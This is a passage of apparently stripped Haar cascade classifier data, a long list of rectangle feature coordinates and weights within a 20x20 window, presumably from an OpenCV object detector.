2. + 1 + <_> + + <_> + 13 9 3 6 -1. + <_> + 11 11 3 2 3. + 1 + <_> + + <_> + 16 8 4 6 -1. + <_> + 16 11 4 3 2. + <_> + + <_> + 19 2 1 2 -1. + <_> + 19 3 1 1 2. + <_> + + <_> + 19 1 1 3 -1. + <_> + 19 2 1 1 3. + <_> + + <_> + 13 12 2 4 -1. + <_> + 13 12 1 2 2. + <_> + 14 14 1 2 2. + <_> + + <_> + 14 9 3 5 -1. + <_> + 15 10 1 5 3. + 1 + <_> + + <_> + 8 7 8 3 -1. + <_> + 10 9 4 3 2. + 1 + <_> + + <_> + 7 7 9 4 -1. + <_> + 6 8 9 2 2. + 1 + <_> + + <_> + 0 11 2 6 -1. + <_> + 1 11 1 6 2. + <_> + + <_> + 0 13 5 6 -1. + <_> + 0 16 5 3 2. + <_> + + <_> + 16 2 4 6 -1. + <_> + 18 2 2 6 2. + <_> + + <_> + 13 5 6 7 -1. + <_> + 15 7 2 7 3. + 1 + <_> + + <_> + 19 2 1 4 -1. + <_> + 19 4 1 2 2. + <_> + + <_> + 14 1 6 2 -1. + <_> + 16 1 2 2 3. + <_> + + <_> + 14 12 4 5 -1. + <_> + 15 12 2 5 2. + <_> + + <_> + 18 15 2 3 -1. + <_> + 17 16 2 1 3. + 1 + <_> + + <_> + 14 16 3 4 -1. + <_> + 14 18 3 2 2. + <_> + + <_> + 16 16 1 2 -1. + <_> + 16 16 1 1 2. + 1 + <_> + + <_> + 18 0 1 2 -1. + <_> + 18 1 1 1 2. + <_> + + <_> + 9 8 1 6 -1. + <_> + 9 11 1 3 2. + <_> + + <_> + 18 5 2 1 -1. + <_> + 19 5 1 1 2. + <_> + + <_> + 14 3 6 4 -1. + <_> + 16 3 2 4 3. + <_> + + <_> + 8 18 4 2 -1. + <_> + 9 18 2 2 2. + <_> + + <_> + 6 13 9 7 -1. + <_> + 9 13 3 7 3. + <_> + + <_> + 1 16 2 2 -1. + <_> + 1 17 2 1 2. + <_> + + <_> + 0 16 3 4 -1. + <_> + 0 17 3 2 2. + <_> + + <_> + 8 1 4 5 -1. + <_> + 9 1 2 5 2. + <_> + + <_> + 10 1 6 9 -1. + <_> + 12 1 2 9 3. + <_> + + <_> + 10 8 10 4 -1. + <_> + 10 10 10 2 2. + <_> + + <_> + 15 8 5 4 -1. + <_> + 15 10 5 2 2. + <_> + + <_> + 17 1 3 2 -1. + <_> + 18 2 1 2 3. + 1 + <_> + + <_> + 13 11 3 5 -1. + <_> + 14 11 1 5 3. + <_> + + <_> + 8 7 4 3 -1. + <_> + 10 7 2 3 2. + <_> + + <_> + 3 0 8 1 -1. + <_> + 5 0 4 1 2. + <_> + + <_> + 1 13 6 5 -1. + <_> + 3 13 2 5 3. + <_> + + <_> + 13 9 3 5 -1. + <_> + 14 10 1 5 3. + 1 + <_> + + <_> + 11 8 4 6 -1. + <_> + 9 10 4 2 3. + 1 + <_> + + <_> + 11 7 6 6 -1. + <_> + 13 9 2 6 3. + 1 + <_> + + <_> + 7 0 7 6 -1. + <_> + 7 3 7 3 2. + <_> + + <_> + 3 1 10 12 -1. + <_> + 3 5 10 4 3. + <_> + + <_> + 13 12 6 4 -1. + <_> + 15 12 2 4 3. + <_> + + <_> + 0 9 6 9 -1. + <_> + 2 12 2 3 9. + <_> + + <_> + 8 0 12 11 -1. + <_> + 12 0 4 11 3. + <_> + + <_> + 13 11 1 8 -1. + <_> + 13 11 1 4 2. + 1 + <_> + + <_> + 19 4 1 2 -1. + <_> + 19 5 1 1 2. + <_> + + <_> + 2 15 1 2 -1. + <_> + 2 15 1 1 2. + 1 + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 2 1 2. + 1 + <_> + + <_> + 16 16 1 3 -1. + <_> + 15 17 1 1 3. + 1 + <_> + + <_> + 5 11 3 2 -1. + <_> + 6 12 1 2 3. + 1 + <_> + + <_> + 4 11 2 2 -1. + <_> + 4 11 1 1 2. + <_> + 5 12 1 1 2. + <_> + + <_> + 17 7 3 2 -1. + <_> + 18 8 1 2 3. + 1 + <_> + + <_> + 16 9 3 8 -1. + <_> + 16 11 3 4 2. + <_> + + <_> + 19 0 1 4 -1. + <_> + 19 2 1 2 2. + <_> + + <_> + 19 0 1 3 -1. + <_> + 19 1 1 1 3. + <_> + + <_> + 9 0 10 3 -1. + <_> + 14 0 5 3 2. + <_> + + <_> + 3 3 15 17 -1. + <_> + 8 3 5 17 3. + <_> + + <_> + 8 0 4 4 -1. + <_> + 9 0 2 4 2. + <_> + + <_> + 1 11 8 1 -1. + <_> + 1 11 4 1 2. + 1 + <_> + + <_> + 4 10 2 4 -1. + <_> + 3 11 2 2 2. + 1 + <_> + + <_> + 4 17 4 3 -1. + <_> + 5 17 2 3 2. + <_> + + <_> + 18 7 2 1 -1. + <_> + 19 7 1 1 2. + <_> + + <_> + 2 7 18 3 -1. + <_> + 11 7 9 3 2. + <_> + + <_> + 4 11 4 2 -1. + <_> + 4 11 2 1 2. + <_> + 6 12 2 1 2. + <_> + + <_> + 4 9 2 4 -1. + <_> + 4 11 2 2 2. + <_> + + <_> + 16 1 3 1 -1. + <_> + 17 2 1 1 3. + 1 + <_> + + <_> + 4 18 1 2 -1. + <_> + 4 19 1 1 2. + <_> + + <_> + 9 18 4 2 -1. + <_> + 10 18 2 2 2. + <_> + + <_> + 12 11 5 4 -1. + <_> + 11 12 5 2 2. + 1 + <_> + + <_> + 18 2 2 1 -1. + <_> + 19 2 1 1 2. + <_> + + <_> + 7 0 6 2 -1. + <_> + 9 0 2 2 3. + <_> + + <_> + 6 13 8 2 -1. + <_> + 8 13 4 2 2. + <_> + + <_> + 14 12 4 4 -1. + <_> + 15 12 2 4 2. + <_> + + <_> + 3 8 17 9 -1. + <_> + 3 11 17 3 3. + <_> + + <_> + 0 12 4 3 -1. + <_> + 2 12 2 3 2. + <_> + + <_> + 8 3 12 6 -1. + <_> + 12 3 4 6 3. + <_> + + <_> + 0 14 3 6 -1. + <_> + 0 17 3 3 2. + <_> + + <_> + 3 0 13 9 -1. + <_> + 3 3 13 3 3. + <_> + + <_> + 8 2 8 6 -1. + <_> + 8 5 8 3 2. + <_> + + <_> + 1 11 18 3 -1. + <_> + 7 11 6 3 3. + <_> + + <_> + 16 17 1 2 -1. + <_> + 16 17 1 1 2. + 1 + <_> + + <_> + 14 12 6 4 -1. + <_> + 16 12 2 4 3. + <_> + + <_> + 13 11 4 5 -1. + <_> + 14 11 2 5 2. + <_> + + <_> + 19 3 1 2 -1. + <_> + 19 4 1 1 2. + <_> + + <_> + 19 0 1 3 -1. + <_> + 19 1 1 1 3. + <_> + + <_> + 7 2 8 4 -1. + <_> + 7 4 8 2 2. + <_> + + <_> + 9 12 3 2 -1. + <_> + 10 12 1 2 3. + <_> + + <_> + 15 8 3 2 -1. + <_> + 16 9 1 2 3. + 1 + <_> + + <_> + 16 15 3 2 -1. + <_> + 16 15 3 1 2. + 1 + <_> + + <_> + 6 12 3 3 -1. + <_> + 7 12 1 3 3. + <_> + + <_> + 13 12 3 1 -1. + <_> + 14 13 1 1 3. + 1 + <_> + + <_> + 4 0 1 3 -1. + <_> + 3 1 1 1 3. + 1 + <_> + + <_> + 8 2 6 4 -1. + <_> + 10 2 2 4 3. + <_> + + <_> + 15 15 2 3 -1. + <_> + 14 16 2 1 3. + 1 + <_> + + <_> + 12 18 8 2 -1. + <_> + 12 19 8 1 2. + <_> + + <_> + 7 12 6 7 -1. + <_> + 9 12 2 7 3. + <_> + + <_> + 4 18 6 2 -1. + <_> + 6 18 2 2 3. + <_> + + <_> + 11 12 3 3 -1. + <_> + 12 12 1 3 3. + <_> + + <_> + 12 12 2 2 -1. + <_> + 13 12 1 2 2. + <_> + + <_> + 18 5 2 1 -1. + <_> + 19 5 1 1 2. + <_> + + <_> + 5 19 4 1 -1. + <_> + 6 19 2 1 2. + <_> + + <_> + 0 11 5 2 -1. + <_> + 0 12 5 1 2. + <_> + + <_> + 18 0 2 2 -1. + <_> + 18 1 2 1 2. + <_> + + <_> + 1 0 12 6 -1. + <_> + 1 2 12 2 3. + <_> + + <_> + 1 1 6 1 -1. + <_> + 3 3 2 1 3. + 1 + <_> + + <_> + 16 9 3 1 -1. + <_> + 17 10 1 1 3. + 1 + <_> + + <_> + 14 10 1 6 -1. + <_> + 12 12 1 2 3. + 1 + <_> + + <_> + 3 1 1 3 -1. + <_> + 2 2 1 1 3. + 1 + <_> + + <_> + 3 0 4 3 -1. + <_> + 2 1 4 1 3. + 1 + <_> + + <_> + 6 14 8 1 -1. + <_> + 8 14 4 1 2. + <_> + + <_> + 1 8 18 9 -1. + <_> + 7 11 6 3 9. + <_> + + <_> + 19 0 1 18 -1. + <_> + 19 6 1 6 3. + <_> + + <_> + 1 13 3 6 -1. + <_> + 1 16 3 3 2. + <_> + + <_> + 6 10 7 3 -1. + <_> + 6 11 7 1 3. + <_> + + <_> + 6 9 7 3 -1. + <_> + 6 10 7 1 3. + <_> + + <_> + 14 1 6 8 -1. + <_> + 17 1 3 8 2. + <_> + + <_> + 9 6 2 4 -1. + <_> + 10 6 1 4 2. + <_> + + <_> + 6 11 7 2 -1. + <_> + 6 12 7 1 2. + <_> + + <_> + 17 11 3 6 -1. + <_> + 18 12 1 6 3. + 1 + <_> + + <_> + 19 17 1 2 -1. + <_> + 19 17 1 1 2. + 1 + <_> + + <_> + 16 9 4 2 -1. + <_> + 17 10 2 2 2. + 1 + <_> + + <_> + 6 18 4 2 -1. + <_> + 7 18 2 2 2. + <_> + + <_> + 2 12 4 4 -1. + <_> + 3 12 2 4 2. + <_> + + <_> + 19 2 1 2 -1. + <_> + 19 3 1 1 2. + <_> + + <_> + 19 2 1 3 -1. + <_> + 19 3 1 1 3. + <_> + + <_> + 1 12 12 3 -1. + <_> + 7 12 6 3 2. + <_> + + <_> + 6 18 4 1 -1. + <_> + 7 18 2 1 2. + <_> + + <_> + 5 2 12 6 -1. + <_> + 5 5 12 3 2. + <_> + + <_> + 9 1 6 6 -1. + <_> + 9 4 6 3 2. + <_> + + <_> + 7 0 11 9 -1. + <_> + 7 3 11 3 3. + <_> + + <_> + 2 0 8 9 -1. + <_> + 2 3 8 3 3. + <_> + + <_> + 5 3 4 3 -1. + <_> + 6 3 2 3 2. + <_> + + <_> + 0 18 3 2 -1. + <_> + 0 19 3 1 2. + <_> + + <_> + 1 0 10 19 -1. + <_> + 6 0 5 19 2. + <_> + + <_> + 3 8 2 3 -1. + <_> + 2 9 2 1 3. + 1 + <_> + + <_> + 10 17 4 3 -1. + <_> + 11 17 2 3 2. + <_> + + <_> + 11 13 3 2 -1. + <_> + 12 13 1 2 3. + <_> + + <_> + 10 12 3 2 -1. + <_> + 11 12 1 2 3. + <_> + + <_> + 9 11 3 3 -1. + <_> + 10 11 1 3 3. + <_> + + <_> + 17 2 3 1 -1. + <_> + 18 3 1 1 3. + 1 + <_> + + <_> + 12 0 6 13 -1. + <_> + 14 0 2 13 3. + <_> + + <_> + 16 0 3 1 -1. + <_> + 17 1 1 1 3. + 1 + <_> + + <_> + 5 11 1 2 -1. + <_> + 5 12 1 1 2. + <_> + + <_> + 2 11 4 2 -1. + <_> + 2 11 2 1 2. + <_> + 4 12 2 1 2. + <_> + + <_> + 16 15 2 3 -1. + <_> + 15 16 2 1 3. + 1 + <_> + + <_> + 8 17 4 2 -1. + <_> + 9 17 2 2 2. + <_> + + <_> + 0 16 4 3 -1. + <_> + 0 17 4 1 3. + <_> + + <_> + 9 13 6 2 -1. + <_> + 12 13 3 2 2. + <_> + + <_> + 2 14 1 2 -1. + <_> + 2 14 1 1 2. + 1 + <_> + + <_> + 5 10 8 3 -1. + <_> + 5 11 8 1 3. + <_> + + <_> + 15 0 3 8 -1. + <_> + 13 2 3 4 2. + 1 + <_> + + <_> + 14 11 4 7 -1. + <_> + 15 11 2 7 2. + <_> + + <_> + 3 11 15 4 -1. + <_> + 8 11 5 4 3. + <_> + + <_> + 9 1 9 9 -1. + <_> + 12 1 3 9 3. + <_> + + <_> + 0 11 4 7 -1. + <_> + 2 11 2 7 2. + <_> + + <_> + 0 16 1 4 -1. + <_> + 0 18 1 2 2. + <_> + + <_> + 19 0 1 6 -1. + <_> + 19 3 1 3 2. + <_> + + <_> + 11 8 9 9 -1. + <_> + 11 11 9 3 3. + <_> + + <_> + 9 17 8 3 -1. + <_> + 11 17 4 3 2. + <_> + + <_> + 18 4 2 2 -1. + <_> + 19 4 1 2 2. + <_> + + <_> + 8 11 3 3 -1. + <_> + 9 12 1 1 9. + <_> + + <_> + 13 2 3 4 -1. + <_> + 13 2 3 2 2. + 1 + <_> + + <_> + 4 6 16 3 -1. + <_> + 12 6 8 3 2. + <_> + + <_> + 10 12 1 3 -1. + <_> + 9 13 1 1 3. + 1 + <_> + + <_> + 8 12 3 3 -1. + <_> + 9 13 1 1 9. + <_> + + <_> + 17 17 1 2 -1. + <_> + 17 17 1 1 2. + 1 + <_> + + <_> + 16 16 2 2 -1. + <_> + 16 16 2 1 2. + 1 + <_> + + <_> + 6 0 9 6 -1. + <_> + 6 2 9 2 3. + <_> + + <_> + 5 0 10 8 -1. + <_> + 5 2 10 4 2. + <_> + + <_> + 17 5 2 1 -1. + <_> + 18 5 1 1 2. + <_> + + <_> + 11 0 9 9 -1. + <_> + 14 0 3 9 3. + <_> + + <_> + 6 9 7 3 -1. + <_> + 6 10 7 1 3. + <_> + + <_> + 3 12 6 2 -1. + <_> + 3 12 3 1 2. + <_> + 6 13 3 1 2. + <_> + + <_> + 2 10 1 2 -1. + <_> + 2 10 1 1 2. + 1 + <_> + + <_> + 13 15 2 3 -1. + <_> + 12 16 2 1 3. + 1 + <_> + + <_> + 7 2 6 5 -1. + <_> + 9 2 2 5 3. + <_> + + <_> + 13 13 6 3 -1. + <_> + 15 13 2 3 3. + <_> + + <_> + 17 9 3 8 -1. + <_> + 17 11 3 4 2. + <_> + + <_> + 8 3 4 3 -1. + <_> + 9 3 2 3 2. + <_> + + <_> + 15 6 2 12 -1. + <_> + 15 6 1 12 2. + 1 + <_> + + <_> + 11 14 4 2 -1. + <_> + 11 14 4 1 2. + 1 + <_> + + <_> + 9 2 5 4 -1. + <_> + 9 4 5 2 2. + <_> + + <_> + 13 12 3 3 -1. + <_> + 14 12 1 3 3. + <_> + + <_> + 18 1 2 3 -1. + <_> + 18 2 2 1 3. + <_> + + <_> + 5 13 4 1 -1. + <_> + 6 13 2 1 2. + <_> + + <_> + 5 10 2 2 -1. + <_> + 5 10 2 1 2. + 1 + <_> + + <_> + 2 11 1 2 -1. + <_> + 2 11 1 1 2. + 1 + <_> + + <_> + 18 3 2 6 -1. + <_> + 18 5 2 2 3. + <_> + + <_> + 10 4 6 2 -1. + <_> + 10 5 6 1 2. + <_> + + <_> + 11 13 6 2 -1. + <_> + 13 13 2 2 3. + <_> + + <_> + 9 11 3 4 -1. + <_> + 9 11 3 2 2. + 1 + <_> + + <_> + 0 11 2 5 -1. + <_> + 1 11 1 5 2. + <_> + + <_> + 0 8 20 9 -1. + <_> + 0 11 20 3 3. + <_> + + <_> + 18 0 1 6 -1. + <_> + 18 3 1 3 2. + <_> + + <_> + 14 1 6 7 -1. + <_> + 17 1 3 7 2. + <_> + + <_> + 4 13 2 4 -1. + <_> + 4 13 1 2 2. + <_> + 5 15 1 2 2. + <_> + + <_> + 1 9 18 6 -1. + <_> + 7 9 6 6 3. + <_> + + <_> + 0 16 5 4 -1. + <_> + 0 18 5 2 2. + <_> + + <_> + 8 14 3 4 -1. + <_> + 8 15 3 2 2. + <_> + + <_> + 7 7 8 3 -1. + <_> + 11 7 4 3 2. + <_> + + <_> + 12 3 4 7 -1. + <_> + 13 3 2 7 2. + <_> + + <_> + 13 12 2 8 -1. + <_> + 13 12 1 4 2. + <_> + 14 16 1 4 2. + <_> + + <_> + 13 10 3 5 -1. + <_> + 14 11 1 5 3. + 1 + <_> + + <_> + 10 5 4 5 -1. + <_> + 11 5 2 5 2. + <_> + + <_> + 2 11 18 2 -1. + <_> + 8 11 6 2 3. + <_> + + <_> + 2 0 1 2 -1. + <_> + 2 0 1 1 2. + 1 + <_> + + <_> + 2 0 1 2 -1. + <_> + 2 0 1 1 2. + 1 + <_> + + <_> + 15 17 1 2 -1. + <_> + 15 17 1 1 2. + 1 + <_> + + <_> + 17 16 1 3 -1. + <_> + 16 17 1 1 3. + 1 + <_> + + <_> + 18 0 2 10 -1. + <_> + 19 0 1 10 2. + <_> + + <_> + 14 2 6 7 -1. + <_> + 16 2 2 7 3. + <_> + + <_> + 12 0 4 4 -1. + <_> + 12 0 4 2 2. + 1 + <_> + + <_> + 0 3 15 6 -1. + <_> + 0 5 15 2 3. + <_> + + <_> + 5 1 4 4 -1. + <_> + 6 1 2 4 2. + <_> + + <_> + 7 13 6 7 -1. + <_> + 9 13 2 7 3. + <_> + + <_> + 6 18 6 2 -1. + <_> + 8 18 2 2 3. + <_> + + <_> + 0 15 5 2 -1. + <_> + 0 16 5 1 2. + <_> + + <_> + 4 1 12 6 -1. + <_> + 4 3 12 2 3. + <_> + + <_> + 5 0 13 8 -1. + <_> + 5 2 13 4 2. + <_> + + <_> + 13 10 6 6 -1. + <_> + 15 12 2 2 9. + <_> + + <_> + 15 9 3 1 -1. + <_> + 16 10 1 1 3. + 1 + <_> + + <_> + 5 11 3 3 -1. + <_> + 6 12 1 1 9. + <_> + + <_> + 6 11 2 2 -1. + <_> + 6 11 1 1 2. + <_> + 7 12 1 1 2. + <_> + + <_> + 17 3 3 2 -1. + <_> + 18 4 1 2 3. + 1 + <_> + + <_> + 16 3 3 3 -1. + <_> + 17 4 1 3 3. + 1 + <_> + + <_> + 12 13 3 1 -1. + <_> + 13 13 1 1 3. + <_> + + <_> + 11 12 3 2 -1. + <_> + 12 12 1 2 3. + <_> + + <_> + 10 0 1 2 -1. + <_> + 10 0 1 1 2. + 1 + <_> + + <_> + 17 13 1 6 -1. + <_> + 17 13 1 3 2. + 1 + <_> + + <_> + 16 14 2 4 -1. + <_> + 16 14 2 2 2. + 1 + <_> + + <_> + 3 0 4 3 -1. + <_> + 4 0 2 3 2. + <_> + + <_> + 6 0 14 1 -1. + <_> + 13 0 7 1 2. + <_> + + <_> + 2 15 18 5 -1. + <_> + 8 15 6 5 3. + <_> + + <_> + 6 11 8 5 -1. + <_> + 8 11 4 5 2. + <_> + + <_> + 0 8 5 12 -1. + <_> + 0 11 5 6 2. + <_> + + <_> + 14 0 6 2 -1. + <_> + 14 0 6 1 2. + 1 + <_> + + <_> + 13 8 4 5 -1. + <_> + 14 9 2 5 2. + 1 + <_> + + <_> + 0 11 4 9 -1. + <_> + 2 11 2 9 2. + <_> + + <_> + 6 9 2 6 -1. + <_> + 6 11 2 2 3. + <_> + + <_> + 12 18 4 2 -1. + <_> + 12 19 4 1 2. + <_> + + <_> + 14 13 6 2 -1. + <_> + 16 13 2 2 3. + <_> + + <_> + 19 9 1 10 -1. + <_> + 19 9 1 5 2. + 1 + <_> + + <_> + 11 5 4 4 -1. + <_> + 12 5 2 4 2. + <_> + + <_> + 14 12 3 5 -1. + <_> + 15 12 1 5 3. + <_> + + <_> + 17 0 2 6 -1. + <_> + 18 0 1 6 2. + <_> + + <_> + 13 16 3 3 -1. + <_> + 14 16 1 3 3. + <_> + + <_> + 19 0 1 4 -1. + <_> + 19 2 1 2 2. + <_> + + <_> + 6 13 4 2 -1. + <_> + 7 13 2 2 2. + <_> + + <_> + 9 11 3 3 -1. + <_> + 10 11 1 3 3. + <_> + + <_> + 14 15 2 3 -1. + <_> + 13 16 2 1 3. + 1 + <_> + + <_> + 11 7 3 4 -1. + <_> + 12 7 1 4 3. + <_> + + <_> + 5 12 1 3 -1. + <_> + 4 13 1 1 3. + 1 + <_> + + <_> + 1 11 6 2 -1. + <_> + 1 11 3 1 2. + <_> + 4 12 3 1 2. + <_> + + <_> + 5 7 2 3 -1. + <_> + 4 8 2 1 3. + 1 + <_> + + <_> + 5 12 2 2 -1. + <_> + 5 12 1 1 2. + <_> + 6 13 1 1 2. + <_> + + <_> + 8 8 4 3 -1. + <_> + 8 9 4 1 3. + <_> + + <_> + 7 8 5 3 -1. + <_> + 7 9 5 1 3. + <_> + + <_> + 6 19 4 1 -1. + <_> + 7 19 2 1 2. + <_> + + <_> + 5 0 4 4 -1. + <_> + 6 0 2 4 2. + <_> + + <_> + 4 0 16 8 -1. + <_> + 8 0 8 8 2. + <_> + + <_> + 12 11 3 4 -1. + <_> + 11 12 3 2 2. + 1 + <_> + + <_> + 0 4 20 6 -1. + <_> + 5 4 10 6 2. + <_> + + <_> + 13 2 2 4 -1. + <_> + 13 2 2 2 2. + 1 + <_> + + <_> + 0 5 14 15 -1. + <_> + 7 5 7 15 2. + <_> + + <_> + 1 18 3 2 -1. + <_> + 1 19 3 1 2. + <_> + + <_> + 3 6 3 3 -1. + <_> + 2 7 3 1 3. + 1 + <_> + + <_> + 0 1 6 8 -1. + <_> + 0 1 3 4 2. + <_> + 3 5 3 4 2. + <_> + + <_> + 5 0 6 6 -1. + <_> + 7 0 2 6 3. + <_> + + <_> + 1 1 15 8 -1. + <_> + 1 3 15 4 2. + <_> + + <_> + 0 0 16 1 -1. + <_> + 8 0 8 1 2. + <_> + + <_> + 3 0 1 2 -1. + <_> + 3 0 1 1 2. + 1 + <_> + + <_> + 3 13 4 1 -1. + <_> + 4 13 2 1 2. + <_> + + <_> + 4 11 2 2 -1. + <_> + 4 11 1 1 2. + <_> + 5 12 1 1 2. + <_> + + <_> + 17 2 3 3 -1. + <_> + 18 3 1 1 9. + <_> + + <_> + 16 3 2 1 -1. + <_> + 17 3 1 1 2. + <_> + + <_> + 0 11 3 2 -1. + <_> + 0 12 3 1 2. + <_> + + <_> + 4 11 4 2 -1. + <_> + 4 11 2 1 2. + <_> + 6 12 2 1 2. + <_> + + <_> + 10 0 4 11 -1. + <_> + 11 0 2 11 2. + <_> + + <_> + 18 15 2 3 -1. + <_> + 17 16 2 1 3. + 1 + <_> + + <_> + 2 11 8 1 -1. + <_> + 2 11 4 1 2. + 1 + <_> + + <_> + 17 13 1 6 -1. + <_> + 17 13 1 3 2. + 1 + <_> + + <_> + 11 13 6 2 -1. + <_> + 13 13 2 2 3. + <_> + + <_> + 19 0 1 10 -1. + <_> + 19 5 1 5 2. + <_> + + <_> + 2 8 7 9 -1. + <_> + 2 11 7 3 3. + <_> + + <_> + 0 11 20 2 -1. + <_> + 5 11 10 2 2. + <_> + + <_> + 6 14 6 1 -1. + <_> + 8 14 2 1 3. + <_> + + <_> + 10 3 8 7 -1. + <_> + 12 3 4 7 2. + <_> + + <_> + 7 0 5 9 -1. + <_> + 7 3 5 3 3. + <_> + + <_> + 0 0 16 6 -1. + <_> + 0 2 16 2 3. + <_> + + <_> + 6 10 2 6 -1. + <_> + 4 12 2 2 3. + 1 + <_> + + <_> + 16 0 4 14 -1. + <_> + 18 0 2 14 2. + <_> + + <_> + 6 0 9 6 -1. + <_> + 6 2 9 2 3. + <_> + + <_> + 8 18 12 2 -1. + <_> + 8 19 12 1 2. + <_> + + <_> + 10 17 4 3 -1. + <_> + 11 17 2 3 2. + <_> + + <_> + 5 0 1 4 -1. + <_> + 4 1 1 2 2. + 1 + <_> + + <_> + 18 6 2 2 -1. + <_> + 18 6 1 2 2. + 1 + <_> + + <_> + 12 10 3 4 -1. + <_> + 11 11 3 2 2. + 1 + <_> + + <_> + 9 9 4 3 -1. + <_> + 9 10 4 1 3. + <_> + + <_> + 9 10 4 3 -1. + <_> + 9 11 4 1 3. + <_> + + <_> + 17 4 3 4 -1. + <_> + 18 5 1 4 3. + 1 + <_> + + <_> + 18 0 2 3 -1. + <_> + 18 1 2 1 3. + <_> + + <_> + 18 1 2 2 -1. + <_> + 18 2 2 1 2. + <_> + + <_> + 19 1 1 3 -1. + <_> + 19 2 1 1 3. + <_> + + <_> + 8 18 4 2 -1. + <_> + 9 18 2 2 2. + <_> + + <_> + 2 13 4 2 -1. + <_> + 2 13 2 1 2. + <_> + 4 14 2 1 2. + <_> + + <_> + 3 11 4 2 -1. + <_> + 3 11 2 1 2. + <_> + 5 12 2 1 2. + <_> + + <_> + 2 10 4 2 -1. + <_> + 2 10 2 1 2. + <_> + 4 11 2 1 2. + <_> + + <_> + 5 9 2 3 -1. + <_> + 4 10 2 1 3. + 1 + <_> + + <_> + 2 10 4 6 -1. + <_> + 3 10 2 6 2. + <_> + + <_> + 13 0 6 8 -1. + <_> + 16 0 3 8 2. + <_> + + <_> + 10 0 8 9 -1. + <_> + 12 0 4 9 2. + <_> + + <_> + 1 11 8 1 -1. + <_> + 1 11 4 1 2. + 1 + <_> + + <_> + 3 0 1 3 -1. + <_> + 2 1 1 1 3. + 1 + <_> + + <_> + 13 13 2 2 -1. + <_> + 14 13 1 2 2. + <_> + + <_> + 4 12 3 4 -1. + <_> + 5 12 1 4 3. + <_> + + <_> + 6 17 4 3 -1. + <_> + 7 17 2 3 2. + <_> + + <_> + 14 1 2 6 -1. + <_> + 14 1 2 3 2. + 1 + <_> + + <_> + 8 4 8 4 -1. + <_> + 8 6 8 2 2. + <_> + + <_> + 8 3 4 5 -1. + <_> + 10 3 2 5 2. + <_> + + <_> + 13 12 2 2 -1. + <_> + 13 12 1 1 2. + <_> + 14 13 1 1 2. + <_> + + <_> + 6 12 3 3 -1. + <_> + 7 12 1 3 3. + <_> + + <_> + 5 7 3 3 -1. + <_> + 4 8 3 1 3. + 1 + <_> + + <_> + 15 10 5 4 -1. + <_> + 15 11 5 2 2. + <_> + + <_> + 14 8 4 9 -1. + <_> + 14 11 4 3 3. + <_> + + <_> + 16 9 4 3 -1. + <_> + 16 10 4 1 3. + <_> + + <_> + 18 7 2 13 -1. + <_> + 19 7 1 13 2. + <_> + + <_> + 0 0 16 1 -1. + <_> + 8 0 8 1 2. + <_> + + <_> + 12 11 5 4 -1. + <_> + 11 12 5 2 2. + 1 + <_> + + <_> + 17 13 2 4 -1. + <_> + 18 13 1 4 2. + <_> + + <_> + 6 13 9 2 -1. + <_> + 9 13 3 2 3. + <_> + + <_> + 3 8 6 8 -1. + <_> + 3 10 6 4 2. + <_> + + <_> + 14 12 4 3 -1. + <_> + 15 12 2 3 2. + <_> + + <_> + 12 6 6 4 -1. + <_> + 14 8 2 4 3. + 1 + <_> + + <_> + 4 0 12 6 -1. + <_> + 4 3 12 3 2. + <_> + + <_> + 0 0 17 2 -1. + <_> + 0 1 17 1 2. + <_> + + <_> + 2 14 1 6 -1. + <_> + 2 17 1 3 2. + <_> + + <_> + 3 10 3 3 -1. + <_> + 2 11 3 1 3. + 1 + <_> + + <_> + 18 2 2 9 -1. + <_> + 19 2 1 9 2. + <_> + + <_> + 7 9 13 8 -1. + <_> + 7 11 13 4 2. + <_> + + <_> + 17 6 3 4 -1. + <_> + 18 7 1 4 3. + 1 + <_> + + <_> + 6 13 2 2 -1. + <_> + 7 13 1 2 2. + <_> + + <_> + 15 16 1 3 -1. + <_> + 14 17 1 1 3. + 1 + <_> + + <_> + 11 16 6 4 -1. + <_> + 11 16 3 2 2. + <_> + 14 18 3 2 2. + <_> + + <_> + 19 0 1 4 -1. + <_> + 19 1 1 2 2. + <_> + + <_> + 19 0 1 2 -1. + <_> + 19 1 1 1 2. + <_> + + <_> + 12 3 3 6 -1. + <_> + 13 3 1 6 3. + <_> + + <_> + 8 10 4 3 -1. + <_> + 8 11 4 1 3. + <_> + + <_> + 19 0 1 8 -1. + <_> + 19 4 1 4 2. + <_> + + <_> + 14 0 6 6 -1. + <_> + 14 0 3 3 2. + <_> + 17 3 3 3 2. + <_> + + <_> + 8 11 3 3 -1. + <_> + 9 12 1 1 9. + <_> + + <_> + 1 6 10 12 -1. + <_> + 6 6 5 12 2. + <_> + + <_> + 10 6 2 1 -1. + <_> + 11 6 1 1 2. + <_> + + <_> + 8 1 7 10 -1. + <_> + 8 6 7 5 2. + <_> + + <_> + 13 11 3 3 -1. + <_> + 14 12 1 3 3. + 1 + <_> + + <_> + 10 13 4 4 -1. + <_> + 10 13 2 2 2. + <_> + 12 15 2 2 2. + <_> + + <_> + 15 15 2 3 -1. + <_> + 14 16 2 1 3. + 1 + <_> + + <_> + 13 13 3 1 -1. + <_> + 14 13 1 1 3. + <_> + + <_> + 10 4 6 3 -1. + <_> + 12 4 2 3 3. + <_> + + <_> + 1 7 6 4 -1. + <_> + 1 7 3 2 2. + <_> + 4 9 3 2 2. + <_> + + <_> + 15 7 4 2 -1. + <_> + 16 8 2 2 2. + 1 + <_> + + <_> + 10 4 9 6 -1. + <_> + 13 4 3 6 3. + <_> + + <_> + 14 2 6 2 -1. + <_> + 14 2 6 1 2. + 1 + <_> + + <_> + 5 18 4 2 -1. + <_> + 6 18 2 2 2. + <_> + + <_> + 0 12 2 8 -1. + <_> + 1 12 1 8 2. + <_> + + <_> + 1 19 18 1 -1. + <_> + 10 19 9 1 2. + <_> + + <_> + 2 0 12 20 -1. + <_> + 8 0 6 20 2. + <_> + + <_> + 2 0 14 1 -1. + <_> + 9 0 7 1 2. + <_> + + <_> + 7 9 8 3 -1. + <_> + 7 10 8 1 3. + <_> + + <_> + 3 11 2 2 -1. + <_> + 3 11 1 1 2. + <_> + 4 12 1 1 2. + <_> + + <_> + 11 0 9 2 -1. + <_> + 14 0 3 2 3. + <_> + + <_> + 6 0 9 1 -1. + <_> + 9 0 3 1 3. + <_> + + <_> + 4 8 1 4 -1. + <_> + 3 9 1 2 2. + 1 + <_> + + <_> + 0 9 3 3 -1. + <_> + 0 10 3 1 3. + <_> + + <_> + 3 4 15 12 -1. + <_> + 8 8 5 4 9. + <_> + + <_> + 7 13 6 6 -1. + <_> + 9 13 2 6 3. + <_> + + <_> + 2 1 12 6 -1. + <_> + 2 3 12 2 3. + 